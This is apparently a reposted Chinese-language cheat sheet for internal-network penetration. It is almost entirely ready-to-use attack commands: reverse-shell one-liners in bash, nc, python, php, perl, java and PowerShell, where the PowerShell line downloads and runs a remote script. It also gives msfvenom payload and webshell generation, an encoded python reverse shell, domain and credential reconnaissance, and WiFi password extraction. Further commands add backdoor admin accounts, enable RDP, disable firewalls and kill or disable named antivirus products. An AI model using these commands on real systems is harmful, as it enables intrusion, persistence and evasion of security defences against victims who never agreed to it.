内网渗透的完整流程(内网渗透之常用命令小结)
反弹shell基本姿势多种小姿势反弹,接下来我们就来聊聊关于内网渗透的完整流程?以下内容大家不妨参考一二希望能帮到您!
内网渗透的完整流程
反弹shell
基本姿势多种小姿势反弹
1. bash
attacker 监听
nc -lvvp 4444
victim 运行
bash -i >& /dev/tcp/<attackerip>/4444 0>&1
2. nc
支持 -e 选项
attacker 监听
nc -lvvp 4444
victim 运行
nc <attackerip> 4444 -t -e /bin/bash
3. python
attacker 监听
nc -lvvp 4444
victim 运行
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<attackerip>",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
4. php
attacker 监听
nc -lvvp 4444
victim 运行
php -r '$sock=fsockopen("<attackerip>",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
或者你直接在web目录写入一个php文件,然后浏览器去访问他就行了,这有一个[Linux和Windows两用的脚本](https://my.oschina.net/chinahermit/blog/144035)
5. java脚本
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/<attackerip>/4444;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[])
p.waitFor()
6. perl脚本
perl -e 'use Socket;$i="<attackerip>";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
7. powershell
victim 运行
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress <attackerip> -port 4444
*MSFVenom生成常用payload *
1. 生成二进制文件
关于二进制文件,主要介绍适用于Windows、linux、mac操作系统的payload生成与利用。
Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe
Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
Mac
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho
如何利用?
以Windows为例,使用上面的命令生成一个exe的payload,复制shell.exe到Windows机器,然后kali下开启msf使用如下命令监听4444端口:
msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <自己的IP>
set LPORT 4444
set ExitOnSession false
exploit -j -z
执行完之后在Windows下执行shell.exe
2. 生成webshell脚本
在做web渗透的时候,经常会用到webshell,我们经常用的一句话用菜刀连接,如何使用MSFVenom生成一个可以用msf操作的webshell?
PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d 'n' > shell.php && pbpaste >> shell.php
ASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp
JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp
WAR
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war
如何利用?
下面以php为例做一下测试,使用以下命令生成一个webshell,在kali上使用msf执行下面的命令,监听端口4444:
msfconsole
use exploit/multi/handler
set PAYLOAD php/meterpreter_reverse_tcp
set LHOST <自己的IP>
set LPORT 4444
set ExitOnSession false
exploit -j -z
将shell.php放在web目录下,使用浏览器访问,或者使用以下命令执行:
php shell.php
3. 脚本shell
关于使用脚本反弹shell的方式,主要以python、bash、perl为例。
Python
msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py
Bash
msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh
Perl
msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl
Powershell
msfvenom -p windows/x64/meterpreter_reverse_http LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f psh > shell.ps1
powershell.exe -ExecutionPolicy Bypass -File shell.ps1
如何使用?
下面就以Python为例做一下测试,使用以下命令生成一个脚本,在kali上使用msf执行下面的命令,监听端口4444:
msfconsole
use exploit/multi/handler
set PAYLOAD cmd/unix/reverse_python
set LHOST <自己的IP>
set LPORT 4444
set ExitOnSession false
exploit -j -z
然后复制shell.py中的内容在linux命令行下执行,如下:
python -c "exec('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zICAgICAgOyAgICBob3N0PSIxOTIuMTY4Ljg4LjEyOCIgICAgICA7ICAgIHBvcnQ9NDQ0NCAgICAgIDsgICAgcz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSkgICAgICA7ICAgIHMuY29ubmVjdCgoaG9zdCxwb3J0KSkgICAgICA7ICAgIG9zLmR1cDIocy5maWxlbm8oKSwwKSAgICAgIDsgICAgb3MuZHVwMihzLmZpbGVubygpLDEpICAgICAgOyAgICBvcy5kdXAyKHMuZmlsZW5vKCksMikgICAgICA7ICAgIHA9c3VicHJvY2Vzcy5jYWxsKCIvYmluL2Jhc2giKQ=='.decode('base64'))"
信息收集
前期收集
query user || qwinsta 查看当前在线用户
net user 查看本机用户
net user /domain 查看域用户
net view & net group "domain computers" /domain 查看当前域计算机列表 第二个查的更多
net view /domain 查看有几个域
net view \\\\dc 查看 dc 域内共享文件
net group /domain 查看域里面的组
net group "domain admins" /domain 查看域管
net localgroup administrators /domain /这个也是查域管,是升级为域控时,本地账户也成为域管
net group "domain controllers" /domain 域控
net time /domain
net config workstation 当前登录域 - 计算机名 - 用户名
net use \\\\域控(如pc.xx.com) password /user:xxx.com\username 相当于这个帐号登录域内主机,可访问资源
ipconfig
systeminfo
tasklist /svc
tasklist /S ip /U domain\username /P /V 查看远程计算机 tasklist
net localgroup administrators && whoami 查看当前是不是属于管理组
netstat -ano
nltest /dclist:xx 查看域控
whoami /all 查看 Mandatory Label uac 级别和 sid 号
net sessoin 查看远程连接 session (需要管理权限)
net share 共享目录
cmdkey /l 查看保存登陆凭证
echo %logonserver% 查看登陆域
spn –l administrator spn 记录
set 环境变量
dsquery server - 查找目录中的 AD DC/LDS 实例
dsquery user - 查找目录中的用户
dsquery computer 查询所有计算机名称 windows 2003
dir /s *.exe 查找指定目录下及子目录下没隐藏文件
arp -a
其他命令
ping icmp 连通性
nslookup www.baidu.com vps-ip dns 连通性
dig @vps-ip www.baidu.com
curl vps:8080 http 连通性
tracert
bitsadmin /transfer n http://ip/xx.exe C:\windows\temp\x.exe一种上传文件 >= 2008
fuser -nv tcp 80 查看端口 pid
rdesktop -u username ip linux 连接 win 远程桌面 (有可能不成功)
where file win 查找文件是否存在
找路径,Linux 下使用命令 find -name *.jsp 来查找,Windows 下,使用 for /r c:\windows\temp\ %i in (file lsss.dmp) do @echo %i
netstat -apn | grep 8888 kill -9 PID 查看端口并 kill
发现密码发现远程登录密码等密码:
https://www.nirsoft.net/utils/network_password_recovery.html
wifi 密码:
netsh wlan show profile 查处 wifi 名
netsh wlan show profile WiFi-name key=clear 获取对应 wifi 的密码
进阶命令
远程登录判断是内网,还是外网,内网转发到 vps
netstat -ano 没有开启 3389 端口,复查下
tasklist /svc,查 svchost.exe 对应的 TermService 的 pid,看 netstat 相等的 pid 即 3389 端口.
添加账号
net user admin1 admin1 /add & net localgroup administrators admin1 /add
*如不允许远程连接,修改注册表 *
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f
如果系统未配置过远程桌面服务,第一次开启时还需要添加防火墙规则,允许 3389 端口,命令如下:
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
关闭防火墙
netsh firewall set opmode mode=disable
解决system权限3389无法添加的用户情况:
判断原因:
I.杀软篇
1.360杀毒软件
2.麦咖啡杀毒软件
3.卡巴斯基杀毒软件
4.其他杀毒软件或防护软件
II.策略篇
1.3389端口变更
2.莫名其妙无法添加账户
3.管理员限制篇
4.系统已达最大连接数处理
———————–I. 杀软篇—————————–
1. 360杀毒软件
taskkill /im 进程名.exe /f
把主动防御结束。360相关进程如下:
360tray.exe,360rp.exe,Zhudongfangyu.exe,360rps.exe
有些SYSYTEM权限却干不掉360,例如360tray.exe,360safe.exe,可以先query user看看管理员状态,因为很可能是管理员登陆以后运行了图形界面没关闭,系统不执行taskkill
所以logoff把管理员踢了,然后360有的进程就自己灭了,这种情况多出现在2008的server系统上
2. 麦咖啡杀毒软件
完整一下过程就是,启用Guest账户,修改Guest用户的密码,添加Guest为administrators用户组
这三条命令第二条或者第三条有时候可能不会显示命令执行成功,但是实际上只要是SYSTEM权限,就应该可以执行成功的,有无回显并不重要。
net user guest /active:yes //将guest用户启用
net user guest silic!&11133 //修改guest密码
net localgroup administrators guest /add //添加guest到管理员用户组中
3. 卡巴斯基
调整系统时间,让卡巴的key失效
mkdir建立以非法字符“.”命名的文件夹,将pr等提权程序传进去。
4. 金山防护软件
主要是KSafeSvc.exe
taskkill搞不定就用ntsd
ntsd -c q -p PID
金山毒霸 金山卫士 瑞星防火墙的组合
可以将如下代码保存到c:\windows\temp\a.vbs
Default
set wsnetwork=CreateObject("WSCRIPT.NETWORK")
os="WinNT://"&wsnetwork.ComputerName
Set ob=GetObject(os)
Set oe=GetObject(os&"/Administrators,group")
Set od=ob.Create("user","silic")
od.SetPassword "silic"
od.SetInfo
Set of=GetObject(os&"/silic",user)
oe.add os&"/silic"
然后用如下命令执行,就能得到账户为silic密码为silic的管理员账户了:
cscript c:\windows\temp\a.vbs
5. 禁用服务法
sc config 服务名 start= disabled
给杀软服务设置为禁用,重启服务器,杀毒防护服务就不能运行。就无阻畅通了,例如:
sc config MsMpSvc start= disabled
——————————–II,策略篇—————————–
1. 3389端口变更
进行3389添加账户前首先要知道3389到底开启没有。
netstat -ano查看端口和使用端口的进程pid,然后Tasklist看一下有哪个svchost.exe进程的pid使用了端口
注意,是svchost.exe当中的某个。
2. 莫名奇妙无法添加账户
把密码位数设置长一点就ok,原先密码是123456,现在改为1234abcd!@#$就过了
如果还是添加不上,可以尝试用vbs脚本来添加
3. 管理员限制
管理员直接把c:\windows\system32的net.exe给删了或者换了
于是你直接net的时候会提示拒绝访问或者不是系统命令等。
管你自己传一个自己的net.exe就突破了。
当然,也有64位系统和你的程序不兼容的情况发生,他是64你就传64位的
4. 达到最大连接限制
有时候添加了账户,但是连接提示最大连接数限制。
首先query user查看在线的账户,然后看他的登陆ID,一般是0,最高不超过8,超过8说明服务器好久没重启了(这个没准的)
然后logoff ID,就把对应ID的管理员踢掉了。然后就能登录了。
隐藏 win 账户渗透技巧——Windows 系统的帐户隐藏
端口转发与代理工具参考文章:渗透测试中弹shell的多种方式及bypass史上最强内网渗透知识点总结解决system权限3389无法添加的用户情况
,免责声明:本文仅代表文章作者的个人观点,与本站无关。其原创性、真实性以及文中陈述文字和内容未经本站证实,对本文以及其中全部或者部分内容文字的真实性、完整性和原创性本站不作任何保证或承诺,请读者仅作参考,并自行核实相关内容。文章投诉邮箱:anhduc.ph@yahoo.com